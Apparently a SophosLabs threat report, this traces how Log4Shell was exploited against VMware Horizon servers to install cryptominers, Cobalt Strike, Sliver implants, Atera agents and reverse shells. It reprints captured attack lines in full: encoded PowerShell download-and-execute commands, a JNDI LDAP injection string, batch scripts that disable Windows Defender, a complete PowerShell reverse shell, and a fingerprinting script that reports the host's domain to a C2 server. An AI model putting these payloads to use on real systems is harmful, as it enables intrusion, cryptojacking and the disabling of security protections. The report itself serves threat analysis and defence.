In the wake of December 2021 exposure of a remote code execution vulnerability (dubbed “Log4Shell”) in the ubiquitous Log4J Java logging library, we tracked widespread attempts to scan for and exploit the weakness—particularly among cryptocurrency mining bots. The vulnerability affected hundreds of software products, making it difficult for some organizations to assess their exposure.
One of the products affected was VMware Horizon, a desktop and application virtualization platform that became part of the solution for some organizations’ work-from-home needs prior to and during office shutdowns over the past two years.
In late December 2021 and in January 2022, there were multiple reports of active exploitation of the Log4Shell vulnerability in VMware Horizon servers. The attack used the Lightweight Directory Access Protocol resource call of Log4J to retrieve a malicious Java class file that modified existing legitimate Java code, adding a web shell that provided remote access and code execution to the attackers. SophosLabs has observed these attacks in customer telemetry since the beginning of January.
The attempts to leverage Horizon, which continued and grew in number throughout January, were frequently associated with attempts to deploy cryptocurrency mining malware; others had less clear motives, and may be associated with initial access brokers or ransomware actors. These attacks continue.
The initial attempts on January 10 came from command and control servers at api[.]rogerscorp[.]org (since sink-holed) and 45[.]32.125.79. The next day, the server was changed to 185.112.83.116; this was kept in use for a larger wave of attacks on January 14. Some of these used Cobalt Strike to stage and execute the cryptominer payloads.
The largest wave of Log4J attacks aimed at Horizon that we have detected began January 19, and is still ongoing. This wave did not rely on Cobalt Strike; instead, the cryptominer installer script is directly executed from the Apache Tomcat component of the Horizon server. The most frequently used server in these campaigns is 80.71.158.96.
Infection process
VMware -> Tomcat -> Cobalt
The earlier attacks followed this pattern. A typical process trace of these attacks shows them starting from the Tomcat service executable, and ending with the execution of the PowerShell script, which executes a standard Cobalt Strike reverse shell:
powershell.exe -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAxADIALgA4ADMALgAxADEANgA6ADgAMAA4ADAALwBkAHIAdgAnACkAKQA=
The PowerShell command decodes to:
iex ((New-Object System.Net.WebClient).DownloadString('hxxp://185[.]112.83.116:8080/drv'))
The downloaded file (sha256: 6c7182d945e7e7ae8f7c289c9f4655295408cf14b72bab9686cc8dbebe845f4e) is a reverse Cobalt Strike shell.
We found the same shell calling back to two different additional URLs on the same server, which were most likely command and control points. In some cases, it called back to 185[.]112.83.116/VyIE. Other reports show a slightly different exploitation process, resulting in a different URL on the same Cobalt server: 185[.]112.83.116/_/scs/mail-static/_/js.
Log4J -> VMware-Horizon
Other exploit methods bypass use of Cobalt Strike and use Log4Shell to directly target the Tomcat server within Horizon. This attack method left less information in our telemetry, but we observed attacks like this in our honeypot:
GET /:undefined HTTP/1.1" 404 456 "t('${jndi:ldap://209[.]141.51.21:1389/TomcatBypass/Command/Base64/
Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzIwNS4xODU
uMTI0LjM5L3NlbnNpLnNoOyBjdXJsIC1PIGh0dHA6Ly8yMDUuMTg1LjEyNC4zOS9zZW5zaS5zaDsgY2htb2QgNzc3IHNlbnNpLn
NoOyBzaCBzZW5zaS5zaA==}')" "t('${jndi:ldap://209[.]141.51.21:1389/TomcatBypass/Command/Base64/Y2QgL3Rt
cCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzIwNS4xODUuMTI0LjM5L
3NlbnNpLnNoOyBjdXJsIC1PIGh0dHA6Ly8yMDUuMTg1LjEyNC4zOS9zZW5zaS5zaDsgY2htb2QgNzc3IHNlbnNpLnNoOyBzaCBzZ
W5zaS5zaA==}')"
The base64 string decodes to:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://205[.]185.124.39/sensi.sh; curl -O hxxp://205[.]185.124.39/sensi.sh; chmod 777 sensi.sh; sh sensi.sh
These requests most likely connect to a server running the JNDIExploit tool, aimed at Log4J exploitation.
The Horizon script has an injected web shell code, that will execute the submitted base64 encoded data if the request URL contains a specific string:
Also there are additional PowerShell scripts. These execute PowerShell commands that:
- find the service VMBlastSG (the VM BlastSecure Gateway service);
- locate the installation directory for the service;
- find the file lib\absg-worker.js;
- inject the web shell into the file’s code, and
- finally restart the service.
The web shell is inserted into absg-worker.js right after the code line containing “req.connection.end();”. But there is no check in the script to detect if the web shell is already inserted—and as a consequence, some known samples of compromised services contain multiple instances of the web shell code. The earliest examples of the web shell files and the injector script date back to around December 23, 2021.
The payloads
We found several different payloads being deployed to Horizon hosts targeted by these campaigns. These included the z0Miner, the JavaX miner and at least two XMRig variants, Jin and Mimu cryptocurrency miner bots.
There were also several backdoors—including the Sliver implant, Atera agent and Splashtop Streamer (both legitimate software products being abused), and several PowerShell-based reverse shells. While z0Miner, JavaX, and some other payloads were downloaded directly by the web shells used for initial compromise, the Jin bots were tied to use of Sliver, and used the same wallets as Mimo—suggesting these three malware were used by the same actor.
Miner trojans
In some cases, our telemetry shows that the infected Horizon hosts have executed a PowerShell downloader script that retrieves content from a Pastebin page.
IEX (New-Object System.Net.Webclient).DownloadString('hxxps://pastebin[.]com/raw/g93wWHkR')
This specific URL has previously been connected to z0Miner in campaigns exploiting an Atlassian Confluence vulnerability (CVE-2021-26084).
Other reports show another PowerShell command being downloaded by a process directly spawned from Horizon’s Tomcat instance. The retrieved script, hxxp://80[.]71.158.96/xms.ps1, downloads an XMRig Monero miner (identified as XMRig 6.16.2) from the same host (hxxp://80.71.158.96/wxm.exe). It then executes the miner, schedules it as task and creates a registry autorun key:
This miner is associated with a the following wallet ID tied to previous cryptominer campaigns attributed to the 8220 Gang:
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
We also discovered a previously unidentified XMRig miner campaign in telemetry. It was dropped using the following PowerShell command executed from the Tomcat service:
((new-object system.net.webclient).downloadFile(‘/mdeploy.txt’, ‘C:\Users\Public\mde.ps1’)); C:\Users\Public\mde.ps1 “hxxp://182[.]54.217.2/file.zip”; Remove-Item C:\Users\Public\mde.ps1;
The file mdeploy.txt is the installer of the miner. It downloads file.zip, which contains the following components:
- cecf0d8f14ff82d55c79143fc359b1d4e645e524 config.json (miner config)
- 5509f5481a73241b039392cbef6dd878a909764a watcher.exe (persistence)
- d25340ae8e92a6d29f599fef426a2bc1b5217299 WinRing0x64.sys (helper driver)
- b0c95c1236ed9cf7710bea184c99caf74996a2f0 wuaucltservice.exe (xmrig miner)
The installer copies watcher.exe to RuntimeBrokerService.exe, creates a scheduled task that executes the copied executable every day at 12PM, and then starts RuntimeBrokerService.exe. Finally it reports the IP address and the hostname to the public webhook.site service to the unique submit URL:
hxxps://webhook[.]site/429f31a6-7ad5-463e-a799-e8d38bddc253
RuntimeBrokerService.exe is a persistence tool with counter-detection measures: it checks if task manager or ProcessHacker are running and stops them if they are. It then executes the main miner binary, wuaucltservice.exe (XMRig 6.15.2-C3Pool).
The wallet address used by this miner is:
46ohkLSMdhRRZxYH4XG7rDewMwcNCHQ2PVDaBgeszf56LSr9qB1cERX4ZXaP4npkZB1CZPU7T69fe6pd7GWYfpRZPHnAHmM
In another attack, the PowerShell script spawned from the Tomcat process, directly downloads the miner binary from hxxp://167[.]71.197.52:8888/js/xmrig.exe. This server has previously been associated with JavaXMiner. The downloaded miner from the JavaXMiner server is another XMRig Monero miner variant. We were able to retrieve the config.json file for the miner setup from the server, which contained this wallet ID:
48zfBUeSCupa7hxjWxxGcABqYKAEpM8fCLhhJ34toDHKLQXdxfSPonCDcTFtTQTXxTUCkkCAS28dUSz83H8U6bdr6Hh2Q2d
Mimo miner bot
We also saw this PowerShell command decoded and executed on some infected systems:
$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat';
$wc.DownloadFile('hxxp://72[.]46.52.135/mad_micky.bat', $tempfile); & $tempfile
The file mad_micky.bat, when executed, downloads hxxp://141[.]85.161.18/xmrig.zip. We also found a variant that downloads
hxxp://72[.]46.52.135/mad.bat, which in turn downloads an installs a similar install archive from a compromised WordPress site (hxxp://lurchmath[.]org/wordpress-temp/wp-content/plugins/xmrig.zip).
A code fragment from the batch file shows the miner setup:
rem command line arguments set WALLET=43DTEF92be6XcPj5Z7U96g4oGeebUxkFq9wyHcNTe1otM2hUrfvdswGdLHxabCSTio7apowzJJVwBZw6vVTu7NoNCNAMoZ4 rem this one is optional set EMAIL=%2 rem checking prerequisites if [%WALLET%] == [] ( echo Script usage: echo ^> setup_mimu_miner.bat ^<wallet address^> [^<your email address^>] echo ERROR: Please specify your wallet address exit /b 1 )
The downloaded miner is again an XMRig Monero miner. All of the samples we saw used the wallet ID shown in the clip above. The file naming suggests this is a variant of the Mimu miner botnet (which we previously reported on in a ransomware response case). Linux shell scripts harvested from the download server show similarity to Mimu scripts found by Tencent.
In a separate incident, we found a different server used to deploy PowerShell scripts, batch scripts and Mimo miner bot executables. Telemetry showed the following commands being sent to the command line during the setup, downloading additional elements and loading the miner:
powershell -Command \"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('hxxp://51[.]222.121.180:82/7za.txt', 'C:\\Windows\\system32\\config\\systemprofile\\7za.exe')
powershell -Command \"Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\\Windows\\system32\\config\\systemprofile\\cc.zip', 'C:\\Windows\\system32\\config\\systemprofile\\cj')]
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB0AGUAbQBwAGYAaQBsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABGAGkAbABlAE4AYQBtAGUAKAApADsAIAAkAHQAZQBtAHAAZgBpAGwAZQAgACsAPQAgACcALgBiAGEAdAAnADsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADUAMQAuADIAMgAyAC4AMQAyADEALgAxADgAMAA6ADgAMgAvAGsAaQBsAGwALgBiAGEAdAAnACwAIAAkAHQAZQBtAHAAZgBpAGwAZQApADsAIAAmACAAJAB0AGUAbQBwAGYAaQBsAGUA
The encoded portion of this command decodes to:
$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://51[.]222.121.180:82/kill.bat', $tempfile); & $tempfile
The kill.bat file disables Windows Defender realtime monitoring, disables several services and checks for the presence of a running Mimu instance:
@echo off
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"
taskkill /IM network02.exe /f
taskkill /IM logback.exe /f
taskkill /IM ws_TomcatService.exe /f
del c:\windows\temp\logback.exe
del c:\windows\temp\network02.exe
IF EXIST "%USERPROFILE%\mimu6" (
GOTO exist1
) else (
goto add_it
:exist1
tasklist /fi "imagename eq xmrig.exe"
find ":" >NUL
if not %errorlevel% == 0 (
echo now is running
exit /b 1
:add_it
echo form exist1
powershell (new-object System.Net.WebClient).DownloadFile('hxxp://51[.]222.121.180:82/power.txt','%userprofile%\power.exe')
%userprofile%\power.exe
Additionally, there are two more PowerShell commands that download another installation batch file and .ZIP archive, and attempt to launch a different version of XMRig:
powershell -Command \"$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://51[.]222.121.180:82/cc.bat', $tempfile); & $tempfile
powershell -Command \"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('hxxp://51[.]222.121.180:82/cc.zip', 'C:\\Windows\\system32\\config\\systemprofile\\cc.zip')
The cc.zip file contains the MoneroOcean advanced version of XMRig. This uses the same wallet version as the version installed by the mad.bat script. The XMRig executable is then launched:
C:\Windows\system32\config\systemprofile\cj\xmrigdaemon.exe
Jin miner
Another miner bot we discovered referred to itself as “Jin.” While its naming scheme was different, it appears to be a variant of the Mimo miner bot, and in fact it used the same wallet ID as the Mimo bots we observed exploiting Horizon. It also used installation files (including mad.bat) that were virtually identical, with only minor changes. It even used the same wallet address as the Mimo miners, which leads us to believe this is simply a rebranded version of Mimo.
One major difference is that we could find no information on the source of the commands executed to begin installing it. We believe based on other evidence that this is because the miner was installed using the Sliver implant (described later in this report).
On some of the infected hosts, the following PowerShell command is executed to download a file named add.bat:
$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat';
$wc.DownloadFile('hxxp://150[.]129.234.203:82/add.bat', $tempfile); & $tempfile
In other cases a different server was used (hxxp://iosk.org/pms/add.bat).
Add.bat, much like kill.bat in the Mimo sample, kills several services, mostly miner related ones. But it also kills the Tomcat service—likely to stop other miners from using that infection vector:
taskkill /IM logback.exe /f taskkill /IM network02.exe /f taskkill /IM ws_TomcatService.exe sc stop c3pool_miner sc delete c3pool_miner taskkill /IM explorer.exe /f sc stop moneroocean_miner sc delete moneroocean_miner
Then it stops Windows Defender’s realtime protection, and downloads the next component, mad.bat:
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat';
$wc.DownloadFile('http://150.129.234.203:82/mad.bat', $tempfile); & $tempfile ; Remove-Item -Force $tempfile"
This script downloads the main miner archive jin.zip from the same site. The content of the archive is the following:
- config.json —the miner configuration file
- jin.exe—the XMRig miner itself (XMRig 6.16.2-mo2)
- jsm.exe—Non-Sucking Service Manager (http://nssm.cc), used by mad.bat to start the miner service.
- WinRing0x64.sys – a helper driver.
Interestingly the miner config file is a skeleton, does not contain a wallet ID, but only a placeholder:
"url": "gulf.moneroocean.stream:10128", "user": "YOUR_WALLET_ADDRESS", "pass": "x",
As with the first Mimo sample above, mad.bat that fills in the wallet ID, and starts the miner:
Backdoors
In addition to miners, we found a variety of backdoors dropped using the Log4Shell exploit. Some of them were PowerShell reverse shells.
We found two types of reverse shell. The first is a shorter script the opens a socket connection to a remote server and executes the received buffer, which is supposed to be a PowerShell command, as in this sample:
while ($true){$TCPClient = .('New-Object') Net.Sockets.TCPClient('137[.]184.17.252', 412);
$NetworkStream = $TCPClient.GetStream();$StreamWriter = &('New-Object') IO.StreamWriter($NetworkStream);
function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | .('%') {0};
$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}&('WriteToStream') '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {.('Invoke-Expression') $Command 2>&1 | &('Out-String')} catch {$_ | &('Out-String')}.('WriteToStream') ($Output)}$StreamWriter.Close();Start-Sleep -Seconds 3;Clear-DnsClientCache}
The second is a larger variant, that is capable of reflectively loading a Windows binary, containing the loader as an encrypted and base64 encoded blob:
There was a case where the same URL (87.121.52.221/dd.ps1, according to ) was hosting both variants at separate times, so it is safe to assume that these were used by the same actor.
There is no conclusive proof to the endgame of the actors behind these reverse shells. We have seen a customer where both one of these reverse shells were found along with Mimu miner, but that could also be a result of multiple infection by two different threat actors. We have reason to believe they may have been dropped by initial access brokers.
We also found some cases where more off-the-shelf backdoors were used to establish a persistent presence on the targeted servers, starting with the Sliver implant. Sliver is an “offensive security” tool intended for use by red teams and penetration testers to emulate the tactics of adversaries; in this case, the tool was used by malicious actors.
We found two servers delivering Sliver implants. Two samples of PowerShell commands in our telemetry executed from the Tomcat service, both from the same server:
(New-Object System.Net.WebClient).DownloadFile('hxxp://193[.]27.228.127/ugly.exe', 'C:\Windows\ccalc.exe');Start-Process -Filepath 'C:\Windows\ccalc.exe',,/pre>
(new-object system.net.webclient).downloadfile('hxxp://193[.]27.228.127/PRIMARY_FLUTE.exe','C:\Windows\wxmhost.exe');Start-Process -FilePath 'C:\Windows\wxmhost.exe'
Both download Sliver implants, and both connected back to the same server they were downloaded from (193[.]27.228.127:8888).
In all of the cases where Sliver was detected in customer telemetry that we were able to further investigate, the Sliver infection was followed by an infection of Jin miner, so we suspect that it is the delivered payload. However, it might also be possible that the actor behind the use of Sliver is a ransomware gang—as the same servers deploying Sliver also hosted files for the Atera agent to deploy as a payload.
Atera agent
Atera is a legitimate, frequently-used remote monitoring and management tool. The criminals are not attacking existing Atera installations; rather, they install their own Atera agents in order to use the Atera cloud management infrastructure to deploy additional payloads in the future.
The infection chain here is similar to other Horizon exploits—Tomcat is leveraged to launch a PowerShell command, and then the PowerShell reaches out to a customer portal at atera.com. This could be for tracking the infections and maintaining remote access to the infected computers during exploit; we have not seen this done before.
The agents were installed using a downloaded, legitimate Microsoft installer file (setup.msi), executed by exploiting Windows’ certutil.exe utility:
C:\\Windows\\system32\\certutil.exe\" -urlcache -split -f hxxp://193[.]27.228.127/setup.msi setup.msi
Apart from the occasional UAC prompt, the Atera MSI is a silent, non-interactive install.
The following log.txt file is created, supposedly with contact info:
/i /IntegratorLogin=kurupatkakurupatka@yandex.ru /CompanyId=1 /IntegratorLoginUI= /CompanyIdUI= /FolderId= /AccountId=0013z00002lheI7AAI2/22/2022 8:30:06 AM Trace Starting
Also, probably as an automated task for the new clients, the Splashtop Streamer remote access tool is downloaded and installed on the infected systems.
2/23/2022 5:38:23 AM Downloading installation to: C:\Windows\TEMP\SplashtopStreamer3360.exe
The installer is:
File name: SplashtopStreamer3360.exe
MD5 4fbfb5f451ffb980f7e702f94c762743
SHA-1 a58975a53d82bb6cf6afa6d6bda8bcc878b46447
SHA-256 dd87b6bab32159ff8384f263961078d1dad04019e268236a885faa39edf8ef89
The only other case that we identified using this version of Atera agent and an installation of Splashtop Streamer resulted in the deployment of Quantum Locker ransomware.
Fingerprinting
We have seen exploitation where a small fingerprinting PowerShell script is executed. This submits the domain name to the C2 server, and if any product names that contain “veeam” are found. The PowerShell script’s decoded command is:
Add-Type -AssemblyName System.Web;$v = 'False';$d = Get-WMIObject Win32_ComputerSystem| Select-Object -ExpandProperty Domain;$d = [System.Web.HttpUtility]::UrlEncode($d);get-wmiobject -class Win32_Product | ForEach-Object { if($_.Name.ToLower().Contains('veeam')) { $v = 'True'} };(new-object system.net.webclient).downloadstring("hxxp://176[.]113.115.107/license.php?d=
This results in HTTP requests like this:
hxxp://176.113.115.107/license.php?d={redacted}&v=false
Veeam software is associated with backup and replication, and is often targeted for shutdown by ransomware actors.
A long term concern
Attempts to compromise Horizon servers are among the more targeted exploits of Log4Shell vulnerabilities because of their nature. VMware has pushed out patched versions of Horizon as of March 8 2022, but many organizations may still not have deployed the fixed versions or applied workarounds to vulnerable ones. Even if they have, as demonstrated by the backdoors and reverse shell activity we found, those systems may already be compromised in other ways.
Organizations should thoroughly research their exposure to potential Log4J vulnerabilities, as they may impact commercial, open-source and custom software that in some cases may not have regular security support. But platforms such as Horizon are particularly attractive targets to all types of malicious actors because they are widespread and can (if still vulnerable) easily found and exploited with well-tested tools.
But organizations should also ensure that they have defense in depth in place to detect and block malicious activity of all types on servers as well as clients. Even after patches are applied, a full assessment of previously vulnerable systems for other potential malware or compromise—including off-the-shelf and commercial software of questionable origin.
(Sophos detects the Windows miners listed in this article, as well as the behaviors related to the scripts used as droppers and backdoors.)
A full list of indicators of compromise for the Horizon-related malware attacks we have investigated is available on SophosLabs’ GitHub page.
